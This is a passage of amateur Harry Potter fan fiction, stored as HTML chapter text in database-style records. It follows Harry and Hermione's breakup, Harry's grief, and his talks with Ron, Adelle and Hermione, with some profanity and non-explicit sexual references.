up at him again, thinking that maybe she looked to fast and missed it somewhere, only to find the same look in his eyes she had seen before. She shook her head.</p>\n\n<p>&#8220;No Hermione! You have to believe me this time!&#8221;</p>\n\n<p>&#8220;I want to Harry,&#8221; she sniffled. &#8220;But I can&#8217;t. The bond that we had for trust has been completely broken.&#8221;</p>\n\n<p>&#8220;No Hermione,&#8221; said Harry, he himself starting to cry. &#8220;You have to believe me!&#8221; Hermione shook her head again.</p>\n\n<p>&#8220;Harry I can&#8217;t take any more of this. I need to&#8230; take a break.&#8221;</p>\n\n<p>&#8220;What are you saying?&#8221; he gulped with his eyes widening, taking a step back from her.</p>\n\n<p>&#8220;I need to take a break from all this and I need time to think about -&#8221;</p>\n\n<p>&#8220;What&#8230; are you saying&#8230; Hermione?&#8221; Harry interrupted, a tear running down his face.</p>\n\n<p>&#8220;I&#8230; I don&#8217;t think we should&#8230; go out anymore,&#8221; she sobbed. It was a lot harder for her to say than she thought.</p>\n\n<p>&#8220;No&#8230;&#8221; Harry said shaking his head slowly. &#8220;No&#8230;&#8221;</p>\n\n<p>&#8220;Think about it Harry. It&#8217;ll be for the best.&#8221;</p>\n<p>&#8220;No it won&#8217;t! I will never be the same without you!&#8221;</p>\n\n<p>&#8220;No Harry, I think it&#8217;ll be the best for the both of us. I mean look at us. Look at what we&#8217;ve become. We were normal teenagers going to school and as soon as we started to go out, we became love-thirsty monsters.&#8221;</p>\n\n<p>&#8220;I like how we were!&#8221; Harry retaliated.</p>\n\n<p>&#8220;No Harry,&#8221; she said, her face wet from all her tears. &#8220;It&#8217;s&#8230;it&#8217;s over between us.&#8221;</p>\n<p>That was all that it took for Harry. Tears ran down his face as his worst nightmare had come true: he and Hermione we no longer a couple. He took a moment to examine his surroundings: the lake, the tree shading them, the green patch of grass below their feet. Strangely enough, this was the exact spot that Harry has confessed his love for her exactly two years ago. Ironically, it had ended where it had all began.</p>\n\n<p>&#8220;Leave me in peace Harry,&#8221; she said turning around and putting her back to him.</p>\n\n<p>&#8220;Hermione -&#8221;</p>\n\n<p>&#8220;Just&#8230; just go Harry.&#8221;</p>\n\n<p>There was really nothing he could do to persuade her. No more kisses to give and no more kisses to receive. He turned around slowly and walked back to the front doors, his back hunched over and tears flowing freely down his face.</p>\n\n\n'),
	(185, 8, '\n\n<b><p align="CENTER">Chapter 8 - Grieving</p>\n</b>\n<p>&nbsp;</p>\n<p>Harry walked to his original boys&#8217; dormitories instead of his private one he shared with Hermione. He figured that maybe she would return there and he didn&#8217;t want her to have to face him. He sat on the edge of his old bed and put his head in his hands, breaking down immediately. His heart had never felt anymore broken. If there was anything more painful than his burning scar or falling 50 feet off a broomstick while playing Quidditch, this was it.</p>\n\n<p>His mind raced as he sobbed, so loudly he was surprised that no one had come up to see what was going on. This wasn&#8217;t it! This couldn&#8217;t be happening to him! When he told Hermione that he was sorry, he couldn&#8217;t have been more truthful about it to her. Why didn&#8217;t she see the truth in his eyes that time? What was so different about that time? Then it suddenly hit him: maybe his eyes were telling her the truth. Serine had aroused him so much that he <i>did kind of </i>give in to her at one point. But was it intentional? Did he really want that? Or was it because was about to get what he didn&#8217;t get it from Hermione? Or was he imagining it was Hermione he was with? He felt so guilty, so sad, and so sick <i>ever </i>having even the slightest attraction to Serine. The sight of him and her in the empty corridor fooling around kept popping in his head and it made him sick to his stomach. Another thing that really bothered him: why wasn&#8217;t he able to get away? To run when she had backed him into that wall? It didn&#8217;t make any sense to him. To make matters worst, he was so close. So close to Hermione&#8217;s birthday. He glanced quickly over to Ron&#8217;s Quidditch calendar to check the date: September 17th. Two days before Hermione&#8217;s birthday. He cried even more when this information sank into his brain. At that point, Ron came in, probably hearing his loud sobs.</p>\n\n<p>&#8220;Harry!&#8221; he exclaimed, seeing him crying his eyes out on his bed. &#8220;What the bloody hell is going on!?&#8221;</p>\n\n<p>&#8220;It&#8217;s&#8230;it&#8217;s over Ron,&#8221; Harry squeaked through his crying.</p>\n\n<p>&#8220;What&#8217;s over Harry?&#8221;</p>\n\n<p>&#8220;Herm&#8230; Hermione and me.&#8221;</p>\n\n<p>Ron felt a shiver go down his spine. For some reason, he felt really sick.  &#8220;Are you serious Harry?&#8221;</p>\n\n<p>That did not make Harry feel any better. It made him more livid than he already was. For a minute, all sadness went away and replaced with so much anger, Harry felt like killing something. He got up and darted toward Ron, putting his face so close to his that their noses almost touched.</p>\n\n<p>&#8220;Look at me Ron!&#8221; Harry shouted at the top of his lungs, pointing to his warped face. &#8220;Look at the damn tears that run like a faucet from the blood shot eyes! Or maybe you don&#8216;t see it clearly enough&#8221; he added, forcefully taking off his glasses. &#8220;Look at the cheeks that are soaked in it! Does it look like I&#8217;m fucking joking Ron!?&#8221;</p>\n\n<p>Ron stared at Harry, his eyes were wide with fear and his was pale from hearing Harry&#8217;s speech. He had never seen Harry so sad, yet so upset at the same time. Ron, being the notorious person he was for not making things any better, muttered, &#8220;And to think, just two days before her birthday&#8230;&#8221; </p>\n\n<p>&#8220;I know Ron!&#8221; Harry, obviously hearing him and shouting again at the top of his lungs. He was so mad, and Ron&#8217;s stupid remark made him even more livid than he already was. Harry, filled with rage, took his glasses he had in his hand, and threw it toward a wall as hard as he could. The force was so strong, it completely shattered the lenses and bending the frame. Not looking like he cared, Harry walked back and sat on his bed, breaking down once again. At that moment, Adelle made her way up the stairs.</p>\n\n<p>&#8220;I thought I heard yelling. What is going -?&#8221;  But she paused when she saw Harry crying on the bed.</p>\n\n<p>&#8220;What&#8217;s the matter with Harry, Ron?&#8221; she asked, a look of concern on her face. She noticed Harry&#8217;s broken glasses on the floor.  &#8220;You didn&#8217;t hit him did you!?&#8221; she exclaimed, giving Ron a disgusted look.</p>\n\n<p>&#8220;Of course not,&#8221; he replied softly, still shocked from all that had happened. He told Adelle about what Harry had told him. He and Hermione breaking up, yelling at Ron for asking him if he was serious, and Harry throwing his glasses out of rage. They both watched sadly as Harry (who didn&#8217;t even notice Adelle had entered the room. Or if he cared at all) continued to cry, feeling very sorry for him. Adelle got enough courage to sit down next to him, putting a comforting arm around him. Ron stood at the foot of the bed, slightly to Harry&#8217;s side.</p>\n\n<p>&#8220;Come on Harry,&#8221; Adelle said, comfortably. &#8220;Get a hold of yourself. It&#8217;ll be ok.&#8221;</p>\n\n<p>&#8220;I&#8230; don&#8217;t think&#8230; it&#8217;ll ever&#8230; be ok,&#8221; Harry sniffled. He had cried so much, he had lost a lot of energy, taking quick intakes of air for breaths.</p>\n\n<p>&#8220;Yeah Harry come on. Why don&#8217;t you tell up what happened?&#8221; Ron asked, also trying to make Harry feel better. So Harry told them. All about Serine, how she was trying to seduce him. About how Hermione had caught him the first time, and forgave him. About Serine trying to seduce him a second time, Hermione catching him again. About how he couldn&#8217;t seem to run, like he under some sort of spell. About how sorry he was to Hermione, and about how she couldn&#8217;t find the truth in his eyes this time, probably because he had given in to Serine at one point. And the sickening feeling Harry got when Hermione told him it was over between them. Harry felt a little better from telling them what had happened, but it still didn&#8217;t cure him completely. Adelle accepted his story without question. Ron on the other hand, was still a little skeptical.</p>\n\n<p>&#8220;I don&#8217;t know Harry,&#8221; he said, looking skeptical. &#8220;I still don&#8217;t know why you didn&#8217;t run from her in the first place.&#8221;</p>\n\n<p>&#8220;Because I <i>couldn&#8217;t</i> run Ron!&#8221; exclaimed Harry, feeling frustrated.</p>\n\n<p>&#8220;Yeah Ron,&#8221; butted Adelle. &#8220;Give Harry a break here. If he said he couldn&#8217;t get away, then he couldn&#8217;t get away. Period.&#8221;</p>\n\n<p>&#8220;I don&#8217;t know,&#8221; Ron replied, rubbing his chin. &#8220;I mean, I wouldn&#8217;t want to get away either.&#8221; he said that last part under his breath, Harry and Adelle barely hearing him.</p>\n\n<p>&#8220;What was that Ron?&#8221; said Adelle, her eyes narrowing, starting to also feel frustrated with Ron.</p>\n\n<p>&#8220;No Adelle, wait,&#8221; said Harry, putting an arm in front of her to stop her from advancing on Ron. &#8220;Ron doesn&#8217;t seem to understand this. And maybe, I can clear this up for him; put it in a way he can understand.&#8221; He noticed that he was starting to sound a lot like Hermione, which hurt a little bit at the remembrance of her.</p>\n\n<p>&#8220;I just don&#8217;t believe that you don&#8217;t believe be Ron,&#8221; he added, shaking his head. &#8220;I also am going to hate myself for doing this, but if it&#8217;s the only way I can prove myself, so be it.&#8221;</p>\n\n<p>&#8220;Do what?&#8221; asked Ron, looking irritated.</p>\n<i>\n</i><p><i>&#8220;Petrificus Totalus</i>!&#8221; shouted Harry, after quickly grabbing his wand out of his robes pocket and pointing it at Ron. Ron&#8217;s back went straight and his arms to his side like a soldier. He was standing, as stiff as a rock. Harry had an evil grin on his face as he tucked his wand away safely. He turned to Adelle and said nonchalantly, as though he had done nothing wrong.  &#8220;Adelle, will you please get my glasses?&#8221;</p>\n\n<p>Adelle looked shocked at what Harry had done to her boyfriend. She was also impressed at how he had handled himself now that he and Hermione were no longer a couple. Nonetheless, she got his glasses and mended them with a &#8220;Reparo&#8221; spell. </p>\n\n<p>&#8220;Thanks Adelle,&#8221; Harry said as she handed him his glasses and put them back on. &#8220;Can you please sit down while I handle this?&#8221; She did was she was told. Harry turned back to Ron with authority in his eyes.</p>\n\n<p>&#8220;She&#8217;s a good girl,&#8221; snaked Harry quietly to Ron, referring to Adelle. There was a look of evil in his eyes now. &#8220;She does as she&#8217;s told. I like that in a woman. There&#8217;s also something <i>else</i> I&#8216;d like to put in her.&#8221; </p>\n\n<p>Harry gave Ron a very evil sneer with a look of cruel intentions in his eyes. He couldn&#8217;t tell from Ron&#8217;s look because he was petrified, but he must have been getting really mad by now, all according to his plan. He leaned in closer to Ron.</p>\n\n<p>&#8220;I&#8217;ve been eyeing Adelle for some time now Ron, and she looks so, <i>sexy</i>,&#8221; he whispered, loud enough for Ron to hear, but soft enough that Adelle didn&#8217;t. He turned around to look at her, then back at Ron. &#8220;She looks so lonely over there Ron. Maybe I can go and, <i>comfort</i> her over there on the bed. It&#8217;ll be fun, watching your girlfriend have sex with another guy. I&#8217;m sure you don&#8217;t mind, <i>do you </i>Ron?&#8221;</p>\n\n<p>He tried to make that sound as convincing as possible. He knew he did his job because he could kind of feel the heat go into Ron&#8217;s face and his attempt to try and punch him in the face. Harry smiled, knowing that it was working.</p>\n\n<p>&#8220;What was that Ron?&#8221; he shouted in a sarcastic way so that Adelle could now hear what he was saying. &#8220;Looks like your getting a bit upset standing over there.&#8221;</p>\n\n<p>&#8220;Harry what are you doing?&#8221; asked Adelle, looking sideways at him.</p>\n\n<p>&#8220;Trying to prove a point,&#8221; Harry said, not taking his eyes off Ron.</p>\n\n<p>&#8220;What&#8217;s the point?&#8221; she asked, looking confused. Harry ignored her.</p>\n\n<p>&#8220;You must be <i>really </i>pissed at me aren&#8217;t you Ron?&#8221; Harry said, trying to anger him some more. &#8220;Why don&#8217;t you go ahead and punch me in the face then Ron? Come on! I know you want to!&#8221;</p>\n\n<p>Ron only remained in his frozen form. Still, Harry could tell that Ron was getting livid, the more he persuaded him (Ron could make growling noises). Adelle seemed to be getting the picture too.</p>\n\n<p>&#8220;Go ahead Ron!&#8221; Harry taunted, sticking his cheek in Ron&#8217;s face and pointing to it. </p>\n\n<p>&#8220;Right there! Hit me right there! Go on, I&#8216;m letting you!&#8221;</p>\n\n<p>Ron did nothing.</p>\n\n<p>&#8220;Come on Ron!&#8221; shouted Harry with all his might. &#8220;Go and give me your best shot! Come on you wimp! Punch me dammit!&#8221;</p>\n\n<p>Ron still did nothing. But he did make an audible growl, like he <i>was</i> trying to sock Harry in the face.</p>\n\n<p>&#8220;<i>Come on!</i>&#8221;</p>\n\n<p>Harry dropped his pointed finger from his cheek, and looked back at Ron. He was no longer taunting him, but he had a see-what-I-mean look on his face.</p>\n\n<p>&#8220;Can&#8217;t do it, can you Ron?&#8221; he asked, looking sideways at him. He glanced over at Adelle. &#8220;See?&#8221;</p>\n\n<p>She nodded in confirmation and Harry turned back to Ron.</p>\n\n<p>&#8220;See what I mean Ron?&#8221; said Harry, obviously not going receive an answer. &#8220;Clear your throat if you understand.&#8221;</p>\n\n<p>He could hear a sound coming from Ron that sounded like he was clearing his throat, but nonetheless, reversed the spell. After Ron was freed, he put his hands on his knees and he was breathing deeply, like he was catching his breath. He raised his head and shot a look of scorn at Harry, and walked toward him in a commanding way. Harry backed away slowly, thinking that Ron wasn&#8217;t going to do anything that he was going to regret.</p>\n\n<p>&#8220;Sorry about that, Ron. I had to sound as convincing as possible to make you mad at me. I had to prove a point!&#8221; Harry added apologetically, as Ron raised a hand, looking like he was ready to kill him. Ron stopped suddenly, dropped his hand, and nodded his head in understanding.</p>\n\n<p>&#8220;Couldn&#8217;t move could you?&#8221; Harry asked again, breathing with relief.</p>\n\n<p>&#8220;No I couldn&#8217;t,&#8221; Ron said, shaking his head. &#8220;Is that what it felt like?&#8221;</p>\n\n<p>&#8220;Finally, I get you to understand!&#8221; Harry said appraisingly, throwing his hands in the air </p>\n<p>as if he had just won a war. &#8220;Yes Ron! That&#8217;s what it exactly felt like!&#8221;</p>\n\n<p>&#8220;Then why didn&#8217;t you just tell Hermione that she put a curse on you Harry?&#8221; Adelle asked on the side.</p>\n\n<p>&#8220;Because I <i>didn&#8217;t</i> know what <i>she</i> had on me,&#8221; he answered, turning in her direction. &#8220;She had <i>something</i> done on me and I don&#8217;t think it was a curse, because she didn&#8217;t use a wand or say any incantations.&#8221;</p>\n\n<p>&#8220;That&#8217;s weird,&#8221; said Ron, scratching his head. &#8220;Sounds like some kind of thing related to the Dark Arts.&#8221;</p>\n\n<p>&#8220;I know,&#8221; said Harry. &#8220;But I&#8217;m not worrying about that right now. Right now all that matters to me is Hermione and her well-being.&#8221;  Ron and Adelle shot Harry a look.</p>\n\n<p>&#8220;I may have lost her as a girlfriend,&#8221; he added, &#8220;but she still is a friend to me.&#8221;</p>\n\n<p>&#8220;Are you going to be ok Harry?&#8221; asked Adelle.</p>\n<p>&#8220;I hope so,&#8221; Harry sighed, fighting back tears that were starting to form in his eyes. &#8220;I just need to talk to her. To discuss where things are going to go from here. Things will never be the same since we have decided to be more than friends.&#8221; Harry dropped his head and massaged his temple with one hand.</p>\n\n<p>&#8220;It&#8217;ll be ok Harry,&#8221; Ron said soothingly. &#8220;I&#8217;m sure it&#8217;ll be ok.&#8221;</p>\n\n<p>&#8220;Thanks Ron,&#8221; he replied, raising his head, and forcing a smile. Ron and Adelle noticed that his face left a trail of a tear that ran down his face. &#8220;Hopefully we&#8217;ll talk. Whenever she&#8217;s ready&#8230; if that day ever comes.&#8221; </p>\n\n<p>&#8220;Harry, is there anything that we can -&#8221;</p>\n\n<p>&#8220;There&#8217;s nothing that you can do,&#8221; Harry said in a final sort of way. &#8220;I need to handle this myself. Now please you two, I really appreciate the company and support, but I really want to be left alone right now.&#8221; He turned around and walked up to a door-sized window and put his hands behind his back, not saying another word. Ron and Adelle, as quietly as they could, walked together and tried to get out of the room before Harry called them again.</p>\n\n<p>&#8220;And tell no one to bother me,&#8221; he said, not turning around.</p>\n\n<p>&#8220;Right Harry,&#8221; confirmed Ron as he closed the door behind him and left with Adelle to leave Harry in peace.</p>\n\n'),
	(185, 9, '\n\n<b><p align="CENTER">Chapter 9 - The Discussion </p>\n</b>\n<p>Harry didn&#8217;t stand looking out of the window for to long; his legs were weak and his breathing was still fast. He sat on the edge of his bed and thought about what to do. He had so many things on his mind and after his talk with Ron and Adelle, he did feel a little better; however, he still felt&#8230; <i>incomplete, </i>like he wasn&#8217;t done just yet.</p>\n\n<p>He walked downstairs slowly and quietly, checking if the coast was clear. He walked over the wall to the direct left after you entered to Fat Lady portrait. </p>\n\n<p>&#8220;Prime example,&#8221; he said. Just then, the wall gave a yawn and the three holes appeared, making Wally&#8217;s face.</p>\n\n<p>&#8220;Hello my boy,&#8221; he had lazily. &#8220;Sorry Harry, but I was asleep so I didn&#8217;t really hear you. You mind saying it again?&#8221; Harry laughed under his breath. It was normal for him to repeat the password at times because Wally had said that his hearing wasn&#8217;t as good as it used to be. If there&#8217;re was such a thing for a wall to have ears.</p>\n\n<p>&#8220;Is Hermione in there, Wally?&#8221; asked Harry first, just to make sure. He didn&#8217;t want to face her just yet.</p>\n\n<p>&#8220;No, no my boy,&#8221; he said. &#8220;But she did come by just a little while ago. She asked if you were in here too, just like you have asked if she was in here. She was in tears that poor girl. Is everything all right between you two?&#8221;</p>\n\n<p>&#8220;It&#8217;s fine,&#8221; Harry lied. He didn&#8217;t feel like talking about relationship problems with a wall. </p>\n<p>&#8220;Prime example.&#8221;</p>\n\n<p>The three holes disappeared first and in the blink of an eye the wall had vanished. Harry quickly made his way in, making up for lost time. He scurried to his room and searched his trunk at the foot of the bed. After searching and searching, he found what he was looking for. He gave it one hard blow, scattering the dust that was on it. It was a red and gold leather bound book with a two-inch spine. On the cover, written in a small, but very nice cursive, was his name: Harry Potter.</p>\n\n<p>&#8220;Never thought I&#8217;d actually be using this,&#8221; he stated as he grabbed a quill and a bottle of ink. He sat on his bed and began to write. Hermione had given him this book along with some Quidditch supplies two years ago, before they were going out. It was a blank book and was meant to be a diary or a journal of some sort for Harry. It had a two line of defenses, a locking charm and an ink disappearing charm. It reminded Harry of a diary he found in his 2nd year. Harry didn&#8217;t like the idea of having this sort of thing (diary&#8217;s were for girls) and he knew that he wasn&#8217;t going to rush to write in it either. But he appreciated it all the same because any gift from Hermione was worth it.</p>\n\n<p>He wrote and wrote, writing all of the events for the past couple of days all leading to the dilemma he was in now. The writing seemed to flow consistently and never seemed to stop. It was amazing when you had so much to write. To Harry&#8217;s delight, the more he wrote, the better he seemed to feel.  When he had finished he set the first line of defense up.</p>\n<i>\n</i><p><i>&#8220;Dismarkinus!&#8221; </i>he said, making the ink vanish. He closed the book and set up the second line of defense. <i>&#8220;Lockinus!&#8221; </i>he said, locking the book. Just to have a little comic relief, he tested it. He tried to open the book, but the cover didn&#8217;t open. It seemed to be glued shut. He tried harder, still to no avail. He tried to bend the book, but it was as hard as a rock. He abused the book, slamming it on the ground, stepping on it, and hitting things with it. After he figured the book had taken enough abuse, he examined it. The book remained good as new, as if nothing was done to it.</p>\n\n<p>&#8220;Cool book,&#8221; Harry said out loud. He placed it back in his trunk, thinking that maybe he&#8217;ll definitely use it again. Just then, someone knocked on his door.</p>\n\n<p>&#8220;Oh no,&#8221; Harry whispered to himself, betting his bottom gold galleon who it was. &#8220;Come in.&#8221;</p>\n\n<p>The door opened, revealing to Harry that he was correct and it was -</p>\n\n<p>&#8220;Hermione!&#8221; said Harry, strangely surprised to see her. &#8220;Out of all people, I didn&#8217;t expect it to be you.&#8221;</p>\n\n<p>&#8220;We need to talk Harry,&#8221; she sniffled. She had obviously still been crying. Her eyes were red and there were heavy bags under them; her cheeks wet from tears she had shed.</p>\n\n<p>&#8220;You sure you&#8217;re ready for that now Hermione?&#8221; asked Harry in his total friend form that he was to her. &#8220;I mean wouldn&#8217;t you want to wait until you&#8217;re ready?&#8221;</p>\n\n<p>&#8220;I am ready Harry,&#8221; she insisted, a tear running down her face. &#8220;This&#8217;ll have happened sooner or later so we might as well do it now, when our feelings are still fresh.&#8221;</p>\n\n<p>&#8220;Ok Herm,&#8221; he said subconsciously. He had shortened her name and called her, &#8216;Herm&#8217; for the first time. It wasn&#8217;t a shortened name for someone that you loved, it was a shortened name for her that made her a friend. He didn&#8217;t like the idea of talking so early, but what else could he have done? It was her call after all; <i>she</i> had broken up with <i>him.</i></p><i>\n</i>\n<p>***</p>\n\n<p>They had exited their private dorms and headed outside, Harry following Hermione. The urge to hold her was high, but he couldn&#8217;t do it anymore. That was going to take some time getting used to. No more kisses, no more hugs, no more hand holding, no more fooling around. Harry wiped his watering eyes before stopping her in front of the Great Hall.</p>\n<p>&#8220;Wait here,&#8221; he said, running into the Great Hall for a moment and coming out of it with a Cauldron Cake and a bar of chocolate. He handed the chocolate to Hermione. </p>\n\n<p>&#8220;Eat this,&#8221; he said. Hermione looked hesitant to accept it, thinking where this was going. Harry&#8217;s only intention was Hermione as his friend, which was now his number 1 priority. </p>\n\n<p>&#8220;Eat it Hermione, it&#8217;ll help. Your body&#8217;s going to give after all that lost in energy. Feels like a dementor had been in your presence, doesn&#8217;t it?&#8221;</p>\n\n<p>She nodded, finally accepting the chocolate and eating it, amazingly, her body felt a little recharged. Harry saw the look on her face. He gave a no teethed smile and nodded subtly as he munched away on his Cauldron Cake.</p>\n\n<p>Harry followed her outside, to the same place where she had called it off. Harry winced at where he was taken; he felt like avoiding that place as much as possible because feeling of sadness made its way back.</p>\n\n<p>&#8220;Hermione,&#8221; started Harry holding his unfinished Cauldron Cake in his hand, &#8220;I want to be the first to apologize.&#8221;</p>\n\n<p>He took a deep breath as though thinking about what to see.</p>\n\n<p>&#8220;First, I want to apologize again for my actions. Not just today, but for the previous days too. I -&#8221;</p>\n\n<p>&#8220;No Harry,&#8221; interrupted Hermione, holding up a hand to stop him. &#8220;We&#8217;re not here to talk about the past. What has happened, has happened and there&#8217;s nothing we can do about it. We need to talk about the future and what&#8217;s going to happen to us.&#8221;</p>\n<p>Harry nodded, seeing her point.</p>\n\n<p>&#8220;Things are going to be different now between us since we decided that our feelings were more than just friends,&#8221; Hermione said.</p>\n\n<p>&#8220;I know,&#8221; Harry replied. &#8220;So where do we go from here Hermione?&#8221;</p>\n\n<p>&#8220;I don&#8217;t know Harry,&#8221; she stated. &#8220;I really don&#8217;t know.&#8221;</p>\n\n<p>&#8220;How about we go back to how we were. Before we were going out,&#8221; he added, seeing her look that showed him that she thought he was talking about getting back together. </p>\n\n<p>&#8220;Let&#8217;s just be friends again and forget about us as a couple.&#8221;</p>\n\n<p>&#8220;That&#8217;s just it Harry!&#8221; she exclaimed, her eyes watering up. &#8220;We can&#8217;t just&#8230; <i>forget</i>.&#8221;</p>\n\n<p>Tears began to roll down her face. Harry couldn&#8217;t take it anymore. Without thinking, he came forward and embraced Hermione in a tight and comforting hug. For a moment, Hermione paused, shocked that he had just hugged her, but she went back to crying, burying her face in his chest.</p>\n\n<p>&#8220;I know Hermione,&#8221; he said. &#8220;I know that we can&#8217;t just forget. But we&#8217;re just going to have to go on with our lives&#8230; as the friends that we once were. Don&#8217;t you think it was more fun before we went out?&#8221; Harry couldn&#8216;t believe the words that were coming out of his mouth. He was lying his ass off in front of Hermione. Of course he didn&#8217;t really think it was fun before they went out , but he had to make Hermione see her senses. She looked up at him. &#8220;Please Hermione, I lost you as a girlfriend, but please, don&#8217;t make me lose you as a friend too.&#8221;</p>\n\n<p>Hermione sniffled a few tears into Harry&#8217;s chest before answering. She didn&#8216;t even have to think. </p>\n\n<p>&#8220;So it&#8217;s settled then?&#8221; she sobbed, looking up at him and confirming her answer. &#8220;We&#8217;re going to be back to just friends?&#8221;</p>\n\n<p>&#8220;I wouldn&#8217;t have it any other way Hermione,&#8221; he confirmed back. Hermione noticed the way she and Harry were in and pulled out of his hug.</p>\n\n<p>&#8220;There are some other things too Harry,&#8221; she said, wiping her eyes. &#8220;We can&#8217;t do anything that we&#8217;re used to doing anymore -&#8221;</p>\n\n<p>Harry held up a hand to stop her.</p>\n\n<p>&#8220;Don&#8217;t&#8230; remind me&#8230; Hermione.&#8221;</p>\n\n<p>&#8220;Right,&#8221; she sniffled. &#8220;We better get going. I have things to do and you&#8230; have&#8230; someone waiting for <i>you</i>?&#8221; She said the last part in a questioning way.</p>\n\n<p>Harry shot her a look that said, what-the-heck-are-you-talking-about?</p>\n\n<p>&#8220;Serine, Harry?&#8221; she said, tears building again.</p>\n\n<p>&#8220;Oh no Hermione!&#8221; he exclaimed. &#8220;She means nothing to me. She may like me, but I have no interest in her!&#8221;</p>\n\n<p>&#8220;You don&#8217;t like her?&#8221; she asked raising her eyebrows, looking skeptical behind her tears.</p>\n\n<p>&#8220;No Hermione, I don&#8217;t like her.&#8221;</p>\n\n<p>&#8220;Just like how you thought you didn&#8217;t like me way back in 5th year?&#8221; she asked in a way of suspecting that he was lying.</p>\n\n<p>&#8220;I <i>know</i> I don&#8217;t like her!&#8221; he said, feeling angry with her. &#8220;I like her about as much as Ron loves spiders!&#8221;</p>\n\n<p>Hermione didn&#8217;t say anything. She just stood there still with tears slowing running down her cheeks.</p>\n\n<p>&#8220;I&#8217;ll see you around Hermione,&#8221; Harry said in a final sort of way, turning her back on her in a rude manner. </p>\n\n<p>&#8220;<i>How dare she accuse me of ever liking&#8230; that!? I wouldn&#8216;t be caught dead with Serine! After what she had done to me and Hermione, and making me feel like crap, she is no friend of mine,&#8221; </i>he thought. He had mixed feelings of sadness and anger in his heart; it didn&#8217;t feel good feeling both of them at the same time; they didn&#8217;t mix well. He looked at the unfinished Cauldron Cake in his hand sadly and chucked it into the river. Starting to be just friends with Hermione had been a few seconds ago, and he knew it was going to be a lot harder than it seemed.</p>\n\n'),
	(185, 10, '\n\n<b><p align="CENTER">Chapter 10 - The Unexpected Rendezvous</p>\n</b>\n<p>&nbsp;</p>\n<p>Harry stormed into the front doors of the castle infuriated. He paced for a few feet before slowing down and throwing his head in one of his hands and started crying. Recent events were very overwhelming for him to handle. To think, everything that he had with Hermione, everything they shared; it was suddenly gone and no more. To make things worse, the special night that he had been waiting for with her, was now a total lost. All that time, two years of waiting, wasted and all for nothing.</p>\n\n<p>He stopped in the middle of a corridor placed his forehead on the nearby wall and banged his fist on it, immediately crying some more.</p>\n\n<p>&#8220;<i>This! Really! SUCKS</i>!&#8221; shouted Harry, his voice echoing the hall. He again broke in tears, not seeming to care about anything at all. So what if someone saw him? So what if they saw him crying like a baby? He cried and cried for what seemed like forever, until a voice called to him from the end of the corridor.</p>\n\n<p>&#8220;Harry!&#8221;</p>\n\n<p>At first, he didn&#8217;t care who it was. He just told himself mentally for that person to go away and to leave him alone. That moment passed when he saw that it was Adelle.</p>\n\n<p>&#8220;Are you ok Harry?&#8221; she asked, full of concern as she approached him. Harry turned around and leaned against the wall, resting the back of his head on it and closing his eyes.</p>\n\n<p>&#8220;I&#8217;m not ok Adelle,&#8221; he said sadly, tears still coming down his face.</p>\n\n<p>&#8220;Oh Harry,&#8221; she groaned, feeling really sorry for him. &#8220;Come here.&#8221;</p>\n\n<p>She approached him and gave him a comforting hug. Harry had no choice but to accept it. For a split second, his sadness died down a bit. He felt warm and cozy in her arms, feeling things he had never felt for her before. When they released, Harry took a good look at her. Ron was always correct when he judged girls and Adelle was a <i>very</i> pretty Ravenclaw girl. She was no match to Hermione of course, but she came very close.</p>\n<i>\n</i><p><i>&#8220;Ron is very lucky,&#8221; </i>Harry thought.</p>\n\n<p>&#8220;What happened Harry?&#8221; she asked.</p>\n\n<p>&#8220;Everything that I didn&#8217;t want to happen,&#8221; he said sadly. &#8220;Everything that I had with Hermione is gone; a thing of the past.&#8221;</p>\n\n<p>&#8220;You&#8217;re upset aren&#8217;t you?&#8221; she said. &#8220;That you were so close right?&#8221;</p>\n<p>Harry&#8217;s eyebrows came down in an asserting way.</p>\n<p>&#8220;What are you talking about?&#8221; he asked.</p>\n\n<p>&#8220;I know why you&#8217;re so upset Harry,&#8221; she confirmed. &#8220;Your dream was about to come true with your special rendezvous with Hermione in two days right?&#8221; Harry blushed a deep red, now that he knew that Adelle knew that he was waiting to have sex with Hermione on her birthday, just two days away. </p>\n\n<p>&#8220;How do you -?&#8221;</p>\n\n<p>&#8220;I&#8217;ll give you one guess,&#8221; she said in a sarcastic tone. Harry rolled his eyes.</p>\n\n<p>&#8220;Ron?&#8221;</p>\n\n<p>&#8220;Bingo!&#8221; she said, pointing a finger at him in a you-got-it-correct manner. &#8220;I know all about it Harry. The Chastity Spell she cast on herself, about how she must be chaste until her seventeenth birthday. And how you mutually agreed you two would share that special moment together.&#8221;</p>\n\n<p>&#8220;Gees,&#8221; said Harry looking a bit disgusted. &#8220;What else did Ron tell you?&#8221;</p>\n\n<p>&#8220;That&#8217;s all basically,&#8221; she said as-a-matter-of-factly. Then she became very serious with him. &#8220;There&#8217;s one thing that I want to know though Harry.&#8221;</p>\n\n<p>&#8220;What&#8217;s that?&#8221; he asked, looking a bit fearful.</p>\n\n<p>&#8220;You don&#8217;t have to answer if you don&#8217;t want to,&#8221; she said in her matter-of-factly voice. &#8220;But I need to know. Were&#8230; you waiting for the day because you wanted to see what she was like in bed? Judge her by that and if you weren&#8217;t satisfied, you would leave her? Or did you wait because you really are in love with her and want to share something special like that with her?&#8221;</p>\n\n<p>Harry&#8217;s mouth dropped opened. He couldn&#8217;t have felt more insulted in his entire life! But, seeing where Adelle was coming from, he agreed why she was asking him that. He told her as truthfully as he felt.</p>\n\n<p>&#8220;Of course I waited because I loved her Adelle!&#8221; retorted Harry. &#8220;I. <i>Love.</i> Her. I love her more than anything in the world. When I first attended Hogwarts, I thought that Quidditch was going to be the love of my life. But it turns out, after being with Hermione, Quidditch meant nothing more to him than a hobby. To tell you the truth, I couldn&#8217;t see myself losing my virginity to anyone except her. A little while after going out, I realized that she was the one, the one I wanted to lose my virginity to.&#8221; Harry blushed a little. Talking about something like this with Adelle made him feel uncomfortable.</p>\n\n<p>&#8220;Of course Harry,&#8221; she said, looking a bit embarrassed. &#8220;I knew you weren&#8217;t a fool like some other boys I know who use their charm just to get a girl in bed then break their hearts afterward. I&#8230; just wanted to make sure. That&#8217;s all. I hope you&#8217;re not upset with me for asking you that?&#8221;</p>\n\n<p>&#8220;No no,&#8221; said Harry shaking his head. &#8220;I understand.&#8221;</p>\n\n<p>&#8220;So did you talk to Hermione?&#8221;</p>\n\n<p>&#8220;Yeah&#8230;&#8221;</p>\n\n<p>&#8220;What&#8217;d she say?&#8221;</p>\n\n<p>&#8220;That we&#8217;re just going to be friends. Go back to the way things were before we went out. I know it&#8217;s not going to be exactly the same but, I&#8217;m just happy that she still wants to talk to me and not ignore me completely.&#8221;</p>\n\n<p>Harry&#8217;s eyes became watery again. 